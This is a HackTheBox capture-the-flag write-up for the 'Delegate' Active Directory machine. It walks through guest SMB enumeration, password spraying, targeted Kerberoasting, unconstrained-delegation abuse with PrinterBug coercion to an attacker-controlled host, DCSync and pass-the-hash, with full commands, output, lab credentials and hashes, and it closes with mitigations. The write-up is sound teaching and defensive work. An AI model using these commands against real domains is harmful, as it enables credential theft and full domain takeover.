Skip to main content

Command Palette

Search for a command to run...

HackTheBox: Delegate Writeup

Updated
•13 min read•View as Markdown
HackTheBox: Delegate Writeup
Y
I write detailed writeups on HackTheBox, PicoCTF and other CTF challenges. Passionate about web exploitation, Active Directory attacks and ethical hacking

Summary

Delegate is an Active Directory box built around a chain of AD misconfigurations rather than a single bug. Anonymous/guest SMB access leaks a logon script (users.bat) on the NETLOGON share containing a plaintext password, which turns out to be reused by a real domain user, A.Briggs. BloodHound enumeration from that foothold reveals A.Briggs has GenericWrite over another user, N.Thompson. An attempt to abuse that with Shadow Credentials (PKINIT) fails because the DC has no enrolled Certificate Authority, so the GenericWrite is instead abused via a targeted Kerberoast (writing a fake SPN onto N.Thompson, requesting a TGS, and cracking it offline) - netting N.Thompson's password and WinRM access (user flag).

N.Thompson turns out to hold SeEnableDelegationPrivilege. Combined with a non-zero MachineAccountQuota, this allows creating a new computer account, marking it as trusted for unconstrained delegation, and coercing the Domain Controller's machine account (DC1$) to authenticate to it (PrinterBug/MS-RPRN coercion via a spoofed DNS record + SPN). The DC's TGT is captured with krbrelayx, which is then used to DCSync the entire domain and recover the Administrator NTLM hash, leading to Pass-the-Hash and full domain compromise (root flag).


1. Reconnaissance

1.1 Nmap

nmap -A -Pn machine-ip -o nmap
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: delegate.vl)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Global Catalog
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server
5985/tcp open  http          Microsoft-HTTPAPI/2.0 (WinRM)
...
rdp-ntlm-info:
  DNS_Domain_Name: delegate.vl
  DNS_Computer_Name: DC1.delegate.vl

Standard Domain Controller port set (Kerberos, LDAP/GC, SMB, WinRM, RDP). Confirmed the target is DC1.delegate.vl for domain delegate.vl, and added it to /etc/hosts:

echo 'machine-ip delegate.vl DC1.delegate.vl dc1.delegate.vl' >> /etc/hosts

1.2 Anonymous / Guest SMB enumeration

Null and guest sessions were both accepted:

nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u 'guest' -p ''
[+] delegate.vl\: 
[+] delegate.vl\guest: 

Share listing required a non-null (guest) session:

nxc smb machine-ip -u 'guest' -p '' --shares
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
SYSVOL           READ            Logon server share

1.3 User enumeration via RID brute-force

nxc smb machine-ip -u 'guest' -p '' --rid-brute

Snipped to the relevant user SIDs:

1104: DELEGATE\A.Briggs (SidTypeUser)
1105: DELEGATE\b.Brown (SidTypeUser)
1106: DELEGATE\R.Cooper (SidTypeUser)
1107: DELEGATE\J.Roberts (SidTypeUser)
1108: DELEGATE\N.Thompson (SidTypeUser)

Extracted into a clean list for later spraying:

nxc smb machine-ip -u 'guest' -p '' --rid-brute \
  | grep 'SidTypeUser' | awk -F'\\\\' '{print $2}' | awk '{print $1}' > user.txt
Administrator
Guest
krbtgt
DC1$
A.Briggs
b.Brown
R.Cooper
J.Roberts
N.Thompson

2. Initial Access

2.1 Loot from NETLOGON

The NETLOGON share is world-readable to guest and often hides logon scripts. It did here:

smbclient //delegate.vl/NETLOGON -U 'guest%'
smb: \> get users.bat
users.bat: ASCII text, with CRLF line terminators

rem @echo off
net use * /delete /y
net use v: \\dc1\development
if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123

A plaintext password (P4ssw0rd1#123) intended for Administrator was captured. Password reuse across accounts is common on these boxes, so it was sprayed against every enumerated user.

2.2 Password spray

kerbrute passwordspray -d delegate.vl --dc machine-ip user.txt 'P4ssw0rd1#123'
[+] VALID LOGIN:  A.Briggs@delegate.vl:P4ssw0rd1#123
Done! Tested 9 logins (1 successes) in 1.160 seconds

The password did not work for Administrator directly (STATUS_LOGON_FAILURE), but it did work for A.Briggs - confirmed over SMB:

nxc smb machine-ip -u A.Briggs -p 'P4ssw0rd1#123'
[+] delegate.vl\A.Briggs:P4ssw0rd1#123

WinRM was attempted with the same account but denied - A.Briggs is not in a group with remoting rights, so the next step was deeper AD enumeration rather than a shell.


3. Domain Enumeration - BloodHound

bloodhound-python \
  -d delegate.vl -dc dc1.delegate.vl -ns machine-ip \
  -u A.Briggs -p 'P4ssw0rd1#123' -c All --zip
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos / 1 ous / 19 containers
INFO: Compressing output into 20260710054958_bloodhound.zip

Loading the collection into BloodHound and pivoting on A.BRIGGS@DELEGATE.VL shows a single outbound edge:

A.Briggs --[GenericWrite]--> N.Thompson

Image description - A.Briggs holds GenericWrite on the user object N.Thompson, meaning A.Briggs can modify most of N.Thompson's attributes (including msDS-KeyCredentialLink for Shadow Credentials, or servicePrincipalName for a targeted Kerberoast).


4. Abusing GenericWrite on N.Thompson

4.1 Attempt 1 - Shadow Credentials (failed)

The first, usually-preferred technique for GenericWrite/WriteProperty on msDS-KeyCredentialLink is to add a Shadow Credential (a fake key pair) and authenticate via PKINIT:

bloodyad -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' \
  --host dc1.delegate.vl add shadowCredentials N.Thompson
[+] KeyCredential generated ...
[-] PKINIT failed on DC machine-ip, you must find a Kerberos server with a certification authority!
kerbad.protocol.errors.KerberosError: KDC_ERR_PADATA_TYPE_NOSUPP

certipy auth against the resulting PFX confirmed the same failure:

[-] Got error while trying to request TGT: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

Root cause: there is no Active Directory Certificate Services (AD CS) CA on the domain, so the DC's KDC cannot process PKINIT pre-authentication at all. Shadow Credentials is a dead end here. The leftover key was cleaned up to keep the object state tidy for the next technique:

bloodyAD -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123' \
  --host dc1.delegate.vl remove shadowCredentials N.Thompson
[+] All keys removed

4.2 Attempt 2 - Targeted Kerberoasting (works)

GenericWrite also allows writing a temporary SPN onto the target account. Once an SPN exists, any authenticated user can request a Kerberos service ticket (TGS) for that account and crack it offline - this is exactly what targetedKerberoast automates: add SPN → request TGS → remove SPN.

git clone https://github.com/ShutdownRepo/targetedKerberoast
python3 targetedKerberoast.py -v -d delegate.vl -u A.Briggs -p 'P4ssw0rd1#123'
[VERBOSE] SPN added successfully for (N.Thompson)
[+] Printing hash for (N.Thompson)
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$e01d4335...[snipped]...db7dce988a
[VERBOSE] SPN removed successfully for (N.Thompson)

The tool automatically cleaned up the SPN afterward. The hash was cracked offline with John the Ripper against rockyou.txt:

john thompson.hash --wordlist=/usr/share/wordlists/rockyou.txt
KALEB_2341       (?)
1g 0:00:00:03 DONE ... 0.2681g/s

Credential: n.thompson : KALEB_2341

Validated across protocols:

nxc smb  delegate.vl -u n.thompson -p KALEB_2341
nxc ldap delegate.vl -u n.thompson -p KALEB_2341
nxc winrm delegate.vl -u n.thompson -p KALEB_2341
SMB   [+] delegate.vl\n.thompson:KALEB_2341
LDAP  [+] delegate.vl\n.thompson:KALEB_2341
WINRM [+] delegate.vl\n.thompson:KALEB_2341 (Pwn3d!)

4.3 Shell as N.Thompson - user flag

evil-winrm -i dc1.delegate.vl -u n.thompson -p KALEB_2341
*Evil-WinRM* PS C:\Users\N.Thompson\Desktop> type user.txt
5aa4b081dfae1db320c24ccc34a46c7b

5. Privilege Escalation - Unconstrained Delegation Abuse

The rest of this chain follows the unconstrained delegation abuse technique documented on HackTricks: Unconstrained Delegation - HackTricks.

5.1 Enumerate rights

whoami /all

Key finding in the privileges list:

Privilege Name                Description                                                     State
============================= =============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation    Enabled

SeEnableDelegationPrivilege is a highly sensitive right - normally reserved for admin tiers - that lets its holder mark accounts (including ones they create) as trusted for unconstrained delegation. Combined with the ability to add a machine account, this is a well-known path to full domain compromise.

5.2 Check MachineAccountQuota

nxc ldap dc1.delegate.vl -u A.Briggs -p P4ssw0rd1#123 -M maq
MAQ  MachineAccountQuota: 10

Regular users can join up to 10 computers to the domain - plenty for the attack.

5.3 Add an attacker-controlled computer account

impacket-addcomputer delegate.vl/n.thompson:KALEB_2341 \
  -computer-name 'EVIL01$' -computer-pass 'Pass123!' -dc-ip dc1.delegate.vl
[*] Successfully added machine account EVIL01$ with password Pass123!.

Because N.Thompson created EVIL01$, N.Thompson owns it and can freely modify its userAccountControl.

5.4 Mark the new computer as trusted for unconstrained delegation

bloodyAD -d delegate.vl -u n.thompson -p KALEB_2341 \
  --host dc1.delegate.vl add uac 'EVIL01$' -f TRUSTED_FOR_DELEGATION
[+] ['TRUSTED_FOR_DELEGATION'] property flags added to EVIL01$'s userAccountControl

This is the SeEnableDelegationPrivilege right being exercised: EVIL01$ is now flagged to receive and store forwardable Kerberos tickets from anything that authenticates to it - exactly what's needed to trap the DC's own TGT.

5.5 Register a hostname and SPN for the fake computer

The attack needs the Domain Controller to be coerced into authenticating over SMB to EVIL01, which means EVIL01 needs a resolvable DNS name and a cifs/ SPN for Kerberos (rather than NTLM) to be used.

python3 dnstool.py -u 'delegate.vl\EVIL01$' -p 'Pass123!' \
  --action add --record evil01.delegate.vl --type A --data 10.10.15.223 \
  -dns-ip machine-ip dc1.delegate.vl
[+] LDAP operation completed successfully

Adding the SMB service SPN directly failed due to validated-write restrictions on the primary SPN attribute:

python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
  -s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl
[!] Could not modify object, the server reports a constrained violation
[!] ... Validated write only allows adding SPNs matching the hostname ...
[!] To add any SPN in the current domain, use --additional to add the SPN via msDS-AdditionalDnsHostName

Retried using the msDS-AdditionalDnsHostName attribute instead, which succeeded:

python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
  -s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl --additional
[+] SPN Modified successfully

With the hostname registered via msDS-AdditionalDnsHostName, the same command was re-run without --additional — this time it completed normally, confirming the SPN write is now accepted since the target hostname is recognized:

python3 addspn.py -u 'delegate.vl\n.thompson' -p 'KALEB_2341' \
  -s 'cifs/evil01.delegate.vl' -t 'EVIL01$' -T samname -dc-ip machine-ip dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

5.6 Start the ticket-capturing listener

python3 krbrelayx.py --krbpass 'Pass123!' --krbsalt 'DELEGATE.VLEVIL01$' -dc-ip machine-ip
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server / HTTP Server / DNS Server
[*] Servers started, waiting for connections

krbrelayx impersonates EVIL01$ and waits for an incoming Kerberos-authenticated connection, from which it will extract the forwarded TGT.

5.7 Coerce the Domain Controller (PrinterBug)

nxc smb machine-ip -u n.thompson -p KALEB_2341 \
  -M coerce_plus -o LISTENER=evil01.delegate.vl METHOD=PrinterBug
COERCE_PLUS  VULNERABLE, PrinterBug
COERCE_PLUS  Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx

This abuses the MS-RPRN print spooler RPC interface to force DC1$ to connect back to evil01.delegate.vl over SMB. Because EVIL01$ is trusted for unconstrained delegation and has a matching cifs/ SPN, DC1$ authenticates via Kerberos and forwards a copy of its own TGT.

Back on the listener:

[*] SMBD: Received connection from machine-ip
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache

The Domain Controller's own machine-account TGT is now on disk.

5.8 DCSync using the captured DC1$ ticket

export KRB5CCNAME=DC1\$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
klist
Default principal: DC1$@DELEGATE.VL
Valid starting       Expires              Service principal
07/10/2026 06:51:32  07/10/2026 16:19:21  krbtgt/DELEGATE.VL@DELEGATE.VL

DC1$ is itself a Domain Controller account, so it inherits Get-Replicating-Changes-All rights - a DCSync (full NTDS dump) is now possible using the stolen ticket instead of any password:

nxc smb delegate.vl --use-kcache --ntds

Output snipped to the accounts of interest:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ce...[snipped]...ee93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
A.Briggs:1104:...:8e5a0462f96bc85faf20378e243bc4a3:::
b.Brown:1105:...:deba71222554122c3634496a0af085a6:::
R.Cooper:1106:...:17d5f7ab7fc61d80d1b9d156f815add1:::
J.Roberts:1107:...:4ff255c7ff10d86b5b34b47adc62114f:::
N.Thompson:1108:...:4b514595c7ad3e2f7bb70e7e61ec1afe:::
DC1$:1000:...:f7caf5a3e44bac110b9551edd1ddfa3c:::
EVIL01$:4601:...:c718f548c75062ada93250db208d3178:::
[+] Dumped 10 NTDS hashes ... 8 were added to the database

Every credential in the domain, including the Administrator NTLM hash, has been recovered.

5.9 Pass-the-Hash - root flag

evil-winrm -i dc1.delegate.vl -u Administrator -H c32198ce...[snipped]...ee93
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
309da11961034e88db89ab88ab5f16a6

Full domain compromise achieved.


Key Vulnerabilities

# Vulnerability Impact
1 Anonymous/Guest SMB access - null and guest sessions allowed, NETLOGON share readable Enumeration of users (RID brute force) and disclosure of a logon script
2 Plaintext credential in a logon script (users.bat on NETLOGON) Leaked password, reused by a real account (A.Briggs)
3 Password reuse Leaked "Administrator" password actually valid for A.Briggs
4 Excessive GenericWrite ACL (A.Briggs → N.Thompson) Enabled targeted Kerberoasting of N.Thompson
5 No AD CS / PKINIT support Prevented Shadow Credentials, but a targeted Kerberoast achieved the same outcome - defense-in-depth failure, not a fix
6 SeEnableDelegationPrivilege granted to a low-privileged user (N.Thompson) Allowed marking an attacker-created computer as trusted for unconstrained delegation
7 Non-zero MachineAccountQuota (default 10) Allowed an unprivileged user to join arbitrary computer accounts to the domain
8 Print Spooler / MS-RPRN coercion (PrinterBug) enabled on the DC Allowed forcing the DC to authenticate to an attacker-controlled host
9 Unconstrained delegation combined with coercion Captured the DC's own TGT, leading to DCSync and full domain compromise

Attack Chain

Anonymous/Guest SMB Access
└── RID brute force → user list
└── Read NETLOGON share → users.bat → plaintext password (P4ssw0rd1#123)
    └── Password spray → valid for A.Briggs
        └── BloodHound enumeration (as A.Briggs)
            └── GenericWrite: A.Briggs → N.Thompson
                ├── [FAILED] Shadow Credentials / PKINIT
                │      └── No CA on domain → KDC_ERR_PADATA_TYPE_NOSUPP
                └── [SUCCESS] Targeted Kerberoast
                       └── Add fake SPN on N.Thompson → request TGS
                           └── Crack offline (John/rockyou) → KALEB_2341
                               └── WinRM as N.Thompson  ── USER FLAG
                                   └── whoami /all → SeEnableDelegationPrivilege
                                       └── Check MachineAccountQuota (10)
                                           └── Add computer EVIL01$
                                               └── Set EVIL01$ TRUSTED_FOR_DELEGATION
                                                   └── Add DNS A record for evil01.delegate.vl
                                                       └── Add cifs/ SPN via msDS-AdditionalDnsHostName
                                                           └── Start krbrelayx listener (unconstrained delegation abuse)
                                                               └── Coerce DC1$ via PrinterBug
                                                                   └── Capture DC1$ TGT
                                                                       └── DCSync via kcache → full NTDS dump
                                                                           └── Administrator NTLM hash
                                                                               └── Pass-the-Hash (Evil-WinRM)  ── ROOT FLAG

Mitigation Steps

  1. Disable anonymous/guest SMB access. Set RestrictAnonymous/RestrictAnonymousSAM and disable the Guest account so RID brute-forcing and share enumeration require valid credentials.
  2. Never store plaintext credentials in logon scripts or GPOs. Use gMSAs, credential vaults, or LAPS instead of embedded net use ... /user: passwords on NETLOGON/SYSVOL.
  3. Enforce unique passwords per account and monitor for credential reuse (e.g., with tools like DSInternals or breached-password auditing).
  4. Audit and minimize AD ACLs. Remove unnecessary GenericWrite/GenericAll/WriteDacl grants on user and computer objects; review with BloodHound regularly and alert on dangerous edges.
  5. Restrict or eliminate SeEnableDelegationPrivilege. This right should be limited to Domain Admins / Tier-0 accounts only - never assigned (directly or via group membership) to a standard user.
  6. Set ms-DS-MachineAccountQuota to 0 unless there is a specific business need for self-service domain joins, preventing unprivileged users from creating computer objects.
  7. Eliminate unconstrained delegation domain-wide. Use constrained delegation or resource-based constrained delegation (RBCD) instead; flag any computer/user object with the TRUSTED_FOR_DELEGATION UAC bit for immediate review.
  8. Disable the Print Spooler service on Domain Controllers (and ideally on servers that don't need it) to close off PrinterBug/MS-RPRN coercion.
  9. Enable SMB/LDAP signing and channel binding to blunt coercion-to-relay attack chains generally.
  10. Deploy AD CS with proper templates and monitor PKINIT usage - or, if AD CS is intentionally absent, ensure other privileged-escalation paths (delegation rights, ACLs) are equally hardened rather than relying on its absence as a control.
  11. Enable Protected Users group / Authentication Policies for high-value accounts (Domain Admins, DCs) to prevent NTLM fallback and limit ticket lifetimes, reducing the blast radius of a captured TGT.

HackTheBox Writeups

Part 34 of 43

Detailed walkthroughs of retired HackTheBox machines covering web exploitation, ActiveDirectory attacks, privilege escalation and more. Every machine is fully compromised and documented step by step.

Up next

HackTheBox: NeoVault Challenge Writeup

Summary NeoVault is a small banking app (Next.js frontend + REST API) that lets users register, transfer funds, and download PDF statements. The API ships in two parallel versions, v1 and v2. v2 patch